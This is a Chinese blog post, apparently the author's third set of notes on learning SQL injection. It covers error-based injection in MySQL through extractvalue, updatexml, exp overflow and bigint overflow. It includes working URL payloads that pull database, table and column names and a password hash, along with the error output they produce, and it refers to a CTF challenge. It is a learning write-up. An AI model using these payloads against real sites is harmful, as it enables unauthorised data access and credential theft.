上次说到了sql注入中的布尔盲注的基本的方法,也是最简单的。

关于sql注入学习记录(3)

今天说一说报错盲注

基于报错的SQL盲注

基于报错的SQL盲注的方法有很多:

  • 基于extractvalue()报错注入
  • 基于updatexml()报错注入
  • 利用double数据类型超出范围进行报错注入(exp注入)
  • 利用bigint溢出报错注入(!溢出报错注入)
  • 利用数据的重复性报错注入
  • floor报错注入
  • 利用了MySQL的第8652号bug :
    Bug #8652 group by part of rand() returns duplicate key error来进行的盲注
  • ...

所以这么多方法一次也写不完,但后续会慢慢学习补充。


基于extractvalue()报错注入

  • extractvalue():对xml文档进行查询的函数
  • 语法extractvalue(目标xml文档,xml路径)
    第二个参数是XPath表达式 xpath_expr(也称为 定位器),这个位置就是我们操作的地方,xml文档中查找字符的位置使用/xx/xx/xx/..这种格式
  • 如果我们在第二个参数中写入其他格式,就会报错且会返回我们写入非法格式的内容,这个非法格式就是我们要查询的内容
  • 利用concat函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出。
  • 如果有些题目过滤了空格和and等关键词可以使用^来连接函数,形成异或。([极客大挑战 2019]HardSQL)

爆数据库名字

?id=1'^extractvalue(1,concat('~',(select(database()))))--+
~是故意写入的语法错误让它报错
显示结果:

XPATH syntax error: '~stormgroup'

爆出当前数据库中的所有表的名称

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))--+
显示结果:

XPATH syntax error: '~member,notice'

爆出当前表的字段的名称

?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='member')))--+
注意这里要同时加上数据库名和表名
显示结果:

XPATH syntax error: '~name,password,status'

爆出字段值

这里有个坑:extractvalue()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substr()函数截取,一次查看32位。

?id=1' and extractvalue(1,concat(0x7e,(select password from member limit 1,1)))--+
显示结果:

XPATH syntax error: '~83f5d3a99c052b5097be00756d5d99d'

?id=1' and extractvalue(1,concat(0x7e,(select substr(password,32,64) from member limit 1,1)))--+
显示结果:

XPATH syntax error: '~5'

基于updatexml()报错注入

  • updatexml()函数与extractvalue()类似,只不过多了一项参数,是更新xml文档的函数
  • 语法:updatexml(目标xml文档,xml路径,更新的内容)
  • 同样是在第二个参数构建错误的语法使其报错

这里就不在赘述用updatexml()报错注入的详细步骤了

利用double数据类型超出范围进行报错注入

  • 当传递一个大于709的值时,函数exp()就会引起一个溢出错误。
  • exp()就是以e为底的对数函数

payload:

?id=1' and exp(~(select * from(select user())a))--+
(这一条我没有测试成功,不知道是因为数据库版本太高被修复还是因为别的原因)
我用了两种数据库的结果:

DOUBLE value is out of range in 'exp(~((select `a`.`user()` from (select user() AS `user()`) `a`)))'

DOUBLE value is out of range in 'exp(~(select #))'

有知道原因的大佬帮忙解答一下(估计是因为数据库版本限制)


利用bigint溢出报错注入

  • 数据类型BIGINT的长度为8字节,也就是说,长度为64比特。这种数据类型最大的有符号值,用二进制、十六进制和十进制的表示形式分别为“0b0111111111111111111111111111111111111111111111111111111111111111”、“0x7fffffffffffffff”和“9223372036854775807”。 当对这个值进行某些数值运算的时候,比如加法运算,就会引起“BIGINT value is out of range”错误。

  • 说的简单点就是数据库中有一个最大值,超过这个值就会引起溢出报错,我们执行一个~0即是返回无符号的最大值,~0+1即会爆出溢出错误

  • 我们可以利用子查询引起BITINT溢出,从而设法提取数据

payload

?id=1 or ~0+!(select * from (select user())x)

最后修改:2020 年 04 月 11 日
如果觉得我的文章对你有用,请随意赞赏